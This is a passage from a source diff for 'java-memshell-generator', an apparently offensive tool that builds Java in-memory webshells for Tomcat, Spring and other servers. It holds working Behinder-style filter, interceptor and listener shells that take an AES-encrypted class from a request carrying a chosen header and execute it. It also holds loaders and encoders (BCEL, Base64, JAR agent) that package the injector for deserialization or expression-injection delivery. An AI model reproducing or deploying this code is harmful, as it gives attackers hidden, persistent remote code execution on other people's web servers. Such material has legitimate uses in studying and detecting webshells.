+
+ public BehinderFilter() {
+ }
+
+ public BehinderFilter(ClassLoader c) {
+ super(c);
+ }
+
+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+ HttpServletRequest request = (HttpServletRequest) servletRequest;
+ HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+ try {
+ if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+ HttpSession session = ((HttpServletRequest) servletRequest).getSession();
+ Map obj = new HashMap();
+ obj.put("request", servletRequest);
+ obj.put("response", response);
+ obj.put("session", session);
+
+ session.putValue("u", this.pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+ (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
+ } else {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ } catch (Exception e) {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ }
+
+ public byte[] doBase64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+ }
+ }
+
+ public void init(FilterConfig filterConfig) throws ServletException {
+ }
+
+ public void destroy() {
+ }
+}
\ No newline at end of file
diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java
new file mode 100644
index 0000000..1ff7f0f
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java
@@ -0,0 +1,78 @@
+package jmg.behinder.memshell;
+
+import org.springframework.web.servlet.AsyncHandlerInterceptor;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+
+public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
+
+
+ public String pass;
+
+ public String headerName;
+
+ public String headerValue;
+
+
+ public Class g(byte[] b) {
+ return super.defineClass(b, 0, b.length);
+ }
+
+
+ public BehinderInterceptor(ClassLoader c) {
+ super(c);
+ }
+
+
+ public BehinderInterceptor() {
+ }
+
+ public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ try {
+ HttpSession session = request.getSession();
+ Map obj = new HashMap();
+ obj.put("request", request);
+ obj.put("response", response);
+ obj.put("session", session);
+ session.putValue("u", this.pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+ (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+ } catch (Exception e) {
+ }
+ return false;
+ } else {
+ return true;
+ }
+ }
+
+ public static byte[] b64Decode(String bs) throws Exception {
+ byte[] value = null;
+
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
+ } catch (Exception var5) {
+ }
+ }
+
+ return value;
+ }
+}
+
diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java
new file mode 100644
index 0000000..3a43c0f
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java
@@ -0,0 +1,97 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class BehinderListener extends ClassLoader implements ServletRequestListener {
+ public String pass;
+
+ public String headerName;
+
+ public String headerValue;
+
+
+ public BehinderListener() {
+ }
+
+ public BehinderListener(ClassLoader c) {
+ super(c);
+ }
+
+
+ public Class g(byte[] b) {
+ return super.defineClass(b, 0, b.length);
+ }
+
+
+ public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+ }
+
+ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+ HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpServletResponse response = this.getResponseFromRequest(request);
+ HttpSession session = request.getSession();
+ Map obj = new HashMap();
+ obj.put("request", request);
+ obj.put("response", response);
+ obj.put("session", session);
+ try {
+ session.putValue("u", pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+ (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+ } catch (Exception var7) {
+ }
+ }
+ } catch (Exception e) {
+
+ }
+
+ }
+
+ private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+ return null;
+ }
+
+ private static synchronized Object getFV(Object var0, String var1) throws Exception {
+ Field var2 = null;
+ Class var3 = var0.getClass();
+
+ while (var3 != Object.class) {
+ try {
+ var2 = var3.getDeclaredField(var1);
+ break;
+ } catch (NoSuchFieldException var5) {
+ var3 = var3.getSuperclass();
+ }
+ }
+
+ if (var2 == null) {
+ throw new NoSuchFieldException(var1);
+ } else {
+ var2.setAccessible(true);
+ return var2.get(var0);
+ }
+ }
+
+ public byte[] base64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+ }
+ }
+}
diff --git a/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java
new file mode 100644
index 0000000..dd5dab2
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java
@@ -0,0 +1,46 @@
+package jmg.behinder.util;
+
+import jmg.behinder.memshell.BehinderFilter;
+import jmg.behinder.memshell.BehinderInterceptor;
+import jmg.behinder.memshell.BehinderListener;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+ private static final Map SHELL_CLASSNAME_MAP = new HashMap();
+ private static final Map> toolMap = new HashMap();
+
+ public ShellUtil() {
+ }
+
+ public static String getShellName(String toolType, String shellType) {
+ Map shellMap = toolMap.get(toolType);
+ return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+ }
+
+ public static String getShellClassName(String shellName) throws Exception {
+ if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+ throw new Exception("Invalid shell type '" + shellName + "'");
+ } else {
+ return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+ }
+ }
+
+ static {
+ SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
+ SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
+ SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
+
+ Map behinderMap = new HashMap();
+ behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
+ behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
+ behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
+ toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
+
+ }
+
+
+}
diff --git a/jmg-core/pom.xml b/jmg-core/pom.xml
new file mode 100644
index 0000000..18a2b9f
--- /dev/null
+++ b/jmg-core/pom.xml
@@ -0,0 +1,26 @@
+
+
+ java-memshell-generator
+ jmg
+ ${revision}
+
+ 4.0.0
+ jmg-core
+
+
+
+
+ org.springframework
+ spring-web
+ 5.3.29
+
+
+
+ org.springframework
+ spring-webflux
+ 5.3.29
+
+
+
+
diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java
new file mode 100644
index 0000000..9bf7f18
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java
@@ -0,0 +1,307 @@
+package jmg.core.config;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class AbstractConfig {
+
+
+ private String injectorClassName;
+
+ public String getInjectorClassName() {
+ return injectorClassName;
+ }
+
+ public void setInjectorClassName(String injectorClassName) {
+ this.injectorClassName = injectorClassName;
+ }
+
+
+ private boolean implementsASTTransformationType = false;
+
+ private boolean implementsScriptEngineFactory = false;
+
+ public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
+ this.implementsASTTransformationType = implementsASTTransformationType;
+ }
+
+ public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
+ this.implementsScriptEngineFactory = implementsScriptEngineFactory;
+ }
+
+ public boolean isImplementsASTTransformationType() {
+ return implementsASTTransformationType;
+ }
+
+ public boolean isImplementsScriptEngineFactory() {
+ return implementsScriptEngineFactory;
+ }
+
+
+ private String injectorSimpleClassName;
+
+ public String getInjectorSimpleClassName() {
+ return injectorSimpleClassName;
+ }
+
+ public void setInjectorSimpleClassName(String injectorSimpleClassName) {
+ this.injectorSimpleClassName = injectorSimpleClassName;
+ }
+
+
+ private byte[] injectorBytes;
+
+ public byte[] getInjectorBytes() {
+ return injectorBytes;
+ }
+
+ public void setInjectorBytes(byte[] injectorBytes) {
+ this.injectorBytes = injectorBytes;
+ }
+
+
+ private int injectorBytesLength;
+
+ public int getInjectorBytesLength() {
+ return injectorBytesLength;
+ }
+
+ public void setInjectorBytesLength(int injectorBytesLength) {
+ this.injectorBytesLength = injectorBytesLength;
+ }
+
+
+
+ private String shellClassName;
+
+ public String getShellClassName() {
+ return shellClassName;
+ }
+
+ public void setShellClassName(String className) {
+ this.shellClassName = className;
+ }
+
+
+
+ private String shellSimpleClassName;
+
+ public String getShellSimpleClassName() {
+ return shellSimpleClassName;
+ }
+
+ public void setShellSimpleClassName(String shellSimpleClassName) {
+ this.shellSimpleClassName = shellSimpleClassName;
+ }
+
+ private byte[] shellBytes;
+
+ public byte[] getShellBytes() {
+ return shellBytes;
+ }
+
+ public void setShellBytes(byte[] shellBytes) {
+ this.shellBytes = shellBytes;
+ }
+
+
+ private int shellBytesLength;
+
+
+
+ public int getShellBytesLength() {
+ return shellBytesLength;
+ }
+
+ public void setShellBytesLength(int shellBytesLength) {
+ this.shellBytesLength = shellBytesLength;
+ }
+
+
+ public String getShellGzipBase64String() {
+ return shellGzipBase64String;
+ }
+
+ public void setShellGzipBase64String(String shellGzipBase64String) {
+ this.shellGzipBase64String = shellGzipBase64String;
+ }
+
+ public String shellGzipBase64String;
+
+
+ public boolean isEnableDebug() {
+ return enableDebug;
+ }
+
+ public void setEnableDebug(boolean enableDebug) {
+ this.enableDebug = enableDebug;
+ }
+
+ private boolean enableDebug = false;
+
+
+
+
+ private String urlPattern;
+
+ private String outputFormat;
+ private String savePath;
+ private String pass;
+ private String key;
+ private String serverType;
+ private String shellType;
+
+ private String headerName;
+ private String headerValue;
+
+
+ private String methodBody;
+
+
+ private String gadgetType;
+
+
+ public String getUrlPattern() {
+ return urlPattern;
+ }
+
+ public void setUrlPattern(String urlPattern) {
+ this.urlPattern = urlPattern;
+ }
+
+ public String getOutputFormat() {
+ return outputFormat;
+ }
+
+ public void setOutputFormat(String outputFormat) {
+ this.outputFormat = outputFormat;
+ }
+
+ public String getSavePath() {
+ return savePath;
+ }
+
+ public void setSavePath(String savePath) {
+ this.savePath = savePath;
+ }
+
+ public String getPass() {
+ return pass;
+ }
+
+ public void setPass(String pass) {
+ this.pass = pass;
+ }
+
+ public String getKey() {
+ return key;
+ }
+
+ public void setKey(String key) {
+ this.key = key;
+ }
+
+ public String getServerType() {
+ return serverType;
+ }
+
+ public void setServerType(String serverType) {
+ this.serverType = serverType;
+ }
+
+ public String getShellType() {
+ return shellType;
+ }
+
+ public void setShellType(String shellType) {
+ this.shellType = shellType;
+ }
+
+ public String getToolType() {
+ return toolType;
+ }
+
+ public void setToolType(String toolType) {
+ this.toolType = toolType;
+ }
+
+ public String toolType;
+
+
+ public String getHeaderName() {
+ return headerName;
+ }
+
+ public void setHeaderName(String headerName) {
+ this.headerName = headerName;
+ }
+
+ public String getHeaderValue() {
+ return headerValue;
+ }
+
+ public void setHeaderValue(String headerValue) {
+ this.headerValue = headerValue;
+ }
+
+
+
+ public String getGadgetType() {
+ return gadgetType;
+ }
+
+ public void setGadgetType(String gadgetType) {
+ this.gadgetType = gadgetType;
+ }
+
+
+ public Map getMessage() {
+ return result;
+ }
+
+ public void setMessage(Map message) {
+ this.result = message;
+ }
+
+ private Map result = new HashMap();
+
+
+ public String getExprEncoder() {
+ return exprEncoder;
+ }
+
+ public void setExprEncoder(String exprEncoder) {
+ this.exprEncoder = exprEncoder;
+ }
+
+ private String exprEncoder;
+
+ public String getExtenderSimpleClassName() {
+ return extenderSimpleClassName;
+ }
+
+
+ private String extenderSimpleClassName;
+
+ public String getLoaderClassName() {
+ return loaderClassName;
+ }
+
+ public void setLoaderClassName(String loaderClassName) {
+ this.loaderClassName = loaderClassName;
+ }
+
+ public String loaderClassName;
+
+ private String classFilePath;
+
+ public String getClassFilePath() {
+ return classFilePath;
+ }
+
+ public void setClassFilePath(String classFilePath) {
+ this.classFilePath = classFilePath;
+ }
+
+
+}
diff --git a/jmg-core/src/main/java/jmg/core/config/Constants.java b/jmg-core/src/main/java/jmg/core/config/Constants.java
new file mode 100644
index 0000000..b281dfc
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/config/Constants.java
@@ -0,0 +1,64 @@
+package jmg.core.config;
+
+public class Constants {
+
+ public static final String JMG_VERSION = "1.0.8";
+
+ public static final String JMG_NAME = "java-memshell-generator";
+ public static final String JMG_DESCRIPTION = "Java 内存马生成器";
+
+ public static final String JMG_AUTHOR = "pen4uin";
+
+ public static final String SERVER_TOMCAT = "Tomcat";
+ public static final String SERVER_SPRING_MVC = "SpringMVC";
+ public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
+
+ public static final String SERVER_JETTY = "Jetty";
+ public static final String SERVER_RESIN = "Resin";
+ public static final String SERVER_WEBLOGIC = "Weblogic";
+ public static final String SERVER_WEBSPHERE = "Websphere";
+ public static final String SERVER_UNDERTOW = "Undertow";
+ public static final String SERVER_GLASSFISH = "Glassfish";
+
+ public static final String SERVER_JBOSS = "JBoss";
+
+
+ public static final String SHELL_LISTENER = "Listener";
+ public static final String SHELL_FILTER = "Filter";
+ public static final String SHELL_VALVE = "Valve";
+ public static final String SHELL_INTERCEPTOR = "Interceptor";
+ public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
+ public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
+ public static final String FORMAT_CLASS = "CLASS";
+ public static final String FORMAT_BCEL = "BCEL";
+ public static final String FORMAT_JSP = "JSP";
+ public static final String FORMAT_JAR = "JAR";
+ public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
+ public static final String FORMAT_JS = "JS";
+ public static final String FORMAT_BASE64 = "BASE64";
+ public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
+
+
+ public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
+
+ public static final String GADGET_SNAKEYAML = "SnakeYaml";
+
+ public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
+ public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
+
+ public static final String TOOL_ANTSWORD = "AntSword";
+ public static final String TOOL_BEHINDER = "Behinder";
+ public static final String TOOL_GODZILLA = "Godzilla";
+
+ public static final String TOOL_CUSTOM = "Custom";
+
+ public static final String TOOL_NEOREGEORG = "NeoreGeorg";
+ public static final String TOOL_SUO5 = "Suo5";
+
+ public static final String EXPR_EL = "EL";
+ public static final String EXPR_SPEL = "SpEL";
+ public static final String EXPR_OGNL = "OGNL";
+ public static final String EXPR_FREEMARKER = "FreeMarker";
+ public static final String EXPR_VELOCITY = "Velocity";
+ public static final String EXPR_JS = "ScriptEngineManager(JS)";
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java
new file mode 100755
index 0000000..c8ac1d5
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java
@@ -0,0 +1,15 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+import java.util.Base64;
+
+public class BASE64Formater implements IFormater {
+ @Override
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ Base64.Encoder base64Encoder = Base64.getEncoder();
+ return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/BCELFormater.java b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java
new file mode 100755
index 0000000..757a343
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java
@@ -0,0 +1,16 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.bcel.HackBCELs;
+
+import java.io.IOException;
+
+public class BCELFormater implements IFormater {
+
+
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ // 解决 BCEL 的classloader 的问题
+ byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
+ return HackBCELs.encode(bcelClzBytes).getBytes();
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoader.java b/jmg-core/src/main/java/jmg/core/format/BCELoader.java
new file mode 100644
index 0000000..20b8b71
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BCELoader.java
@@ -0,0 +1,53 @@
+package jmg.core.format;
+
+import java.lang.reflect.Method;
+
+public class BCELoader {
+ static {
+ new BCELoader();
+ }
+
+ private String getClassName() {
+ return "";
+ }
+
+ private String getBase64String() {
+ return "";
+ }
+
+ public BCELoader() {
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ try {
+ classLoader.loadClass(getClassName()).newInstance();
+ } catch (Exception e) {
+ try {
+ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+ defineClass.setAccessible(true);
+ byte[] clazzBytes = decodeFromBase64(getBase64String());
+ Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
+ clazz.newInstance();
+ } catch (Exception ee) {
+ }
+ }
+ }
+
+ public static byte[] decodeFromBase64(String input) {
+ byte[] var2 = null;
+
+ Class var1;
+ try {
+ var1 = Class.forName("java.util.Base64");
+ Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
+ var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
+ } catch (Exception var6) {
+ try {
+ var1 = Class.forName("sun.misc.BASE64Decoder");
+ Object var4 = var1.newInstance();
+ var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
+ } catch (Exception var5) {
+ }
+ }
+
+ return var2;
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java
new file mode 100644
index 0000000..17ccf38
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java
@@ -0,0 +1,77 @@
+package jmg.core.format;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import jmg.core.config.AbstractConfig;
+import jmg.core.util.JavassistUtil;
+
+public class BCELoaderGenerator {
+ public static byte[] generatorBCELoaderClass(AbstractConfig config) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ ClassClassPath classPath = new ClassClassPath(BCELoader.class);
+ pool.insertClassPath(classPath);
+ CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
+ ctClass.setName(config.getLoaderClassName());
+ ctClass.getClassFile().setVersionToJava5();
+ CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
+ getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
+ CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
+ String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
+ String[] parts = splitChunks(base64ClassString, 40000);
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < parts.length; i++) {
+ if (i > 0) result.append("+");
+ result.append("new String(\"" + parts[i] + "\")");
+ }
+ getBase64String.setBody(String.format("{return %s;}", result));
+ ctClass.defrost();
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.detach();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return null;
+ }
+
+ private static String encodeToBase64(byte[] input) throws Exception {
+ String value = null;
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Encoder");
+ Object Encoder = base64.newInstance();
+ value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
+ } catch (Exception var5) {
+ }
+ }
+ return value;
+ }
+
+ private static String[] splitChunks(String source, int CHUNK_SIZE) {
+ String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
+ char[] payload = source.toCharArray();
+ int start = 0;
+ for (int i = 0; i < ret.length; i++) {
+ if (start + CHUNK_SIZE > payload.length) {
+ char[] b = new char[payload.length - start];
+ System.arraycopy(payload, start, b, 0, payload.length - start);
+ ret[i] = new String(b);
+ } else {
+ char[] b = new char[CHUNK_SIZE];
+ System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
+ ret[i] = new String(b);
+ }
+ start += CHUNK_SIZE;
+ }
+ return ret;
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java
new file mode 100755
index 0000000..8adf8ac
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java
@@ -0,0 +1,14 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+import java.math.BigInteger;
+
+public class BigIntegerFormater implements IFormater {
+ @Override
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ return new BigInteger(clazzbyte).toString(36).getBytes();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/IFormater.java b/jmg-core/src/main/java/jmg/core/format/IFormater.java
new file mode 100755
index 0000000..bd96cf6
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/IFormater.java
@@ -0,0 +1,10 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+
+public interface IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java
new file mode 100755
index 0000000..9c0b569
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java
@@ -0,0 +1,98 @@
+package jmg.core.format;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.template.SpringMVCAgentTransformer;
+import jmg.core.template.TomcatAgentTransformer;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+
+import java.io.*;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Enumeration;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+public class JARAgentFormater implements IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
+ String className = TomcatAgentTransformer.class.getName();
+ String simpleName = TomcatAgentTransformer.class.getSimpleName();
+ if (config.getServerType().equals(Constants.SERVER_TOMCAT)){
+ className = TomcatAgentTransformer.class.getName();
+ simpleName = TomcatAgentTransformer.class.getSimpleName();
+ }
+ if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){
+ className = SpringMVCAgentTransformer.class.getName();
+ simpleName = SpringMVCAgentTransformer.class.getSimpleName();
+ }
+ String classFileName = simpleName.replace('.', '/') + ".class";
+ ClassPool pool = ClassPool.getDefault();
+// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
+// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
+
+ InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
+ File jarFile = File.createTempFile("jmg-agent", ".jar");
+ try (FileOutputStream out = new FileOutputStream(jarFile)) {
+ byte[] buffer = new byte[1024];
+ int bytesRead;
+ while ((bytesRead = jarStream.read(buffer)) != -1) {
+ out.write(buffer, 0, bytesRead);
+ }
+ }
+
+ Manifest manifest = createManifest(simpleName);
+ File tempJarFile = File.createTempFile("tempJar", ".jar");
+
+ try (JarFile jar = new JarFile(jarFile);
+ JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
+
+ copyJarEntries(jar, tempJar);
+
+ addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte));
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
+ }
+
+ private Manifest createManifest(String simpleName) {
+ Manifest manifest = new Manifest();
+ manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+ manifest.getMainAttributes().putValue("Agent-Class", simpleName);
+ manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
+ manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
+ manifest.getMainAttributes().putValue("Main-Class", simpleName);
+ return manifest;
+ }
+
+ private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
+ Enumeration jarEntries = jar.entries();
+ while (jarEntries.hasMoreElements()) {
+ JarEntry entry = jarEntries.nextElement();
+ try (InputStream entryInputStream = jar.getInputStream(entry)) {
+ tempJar.putNextEntry(entry);
+ byte[] buffer = new byte[1024];
+ int bytesRead;
+ while ((bytesRead = entryInputStream.read(buffer)) != -1) {
+ tempJar.write(buffer, 0, bytesRead);
+ }
+ }
+ }
+ }
+
+ private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception {
+ CtClass ctClass = pool.get(className);
+ ctClass.getClassFile().setVersionToJava5();
+ ctClass.setName(simpleName);
+ JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
+ tempJar.putNextEntry(new JarEntry(classFileName));
+ tempJar.write(ctClass.toBytecode());
+ ctClass.detach();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/JARFormater.java b/jmg-core/src/main/java/jmg/core/format/JARFormater.java
new file mode 100755
index 0000000..0b5d4c5
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JARFormater.java
@@ -0,0 +1,47 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+public class JARFormater implements IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ String className = config.getInjectorClassName();
+ String jarEntryFileName = className.replace(".", "/") + ".class";
+
+ Manifest manifest = new Manifest();
+ manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
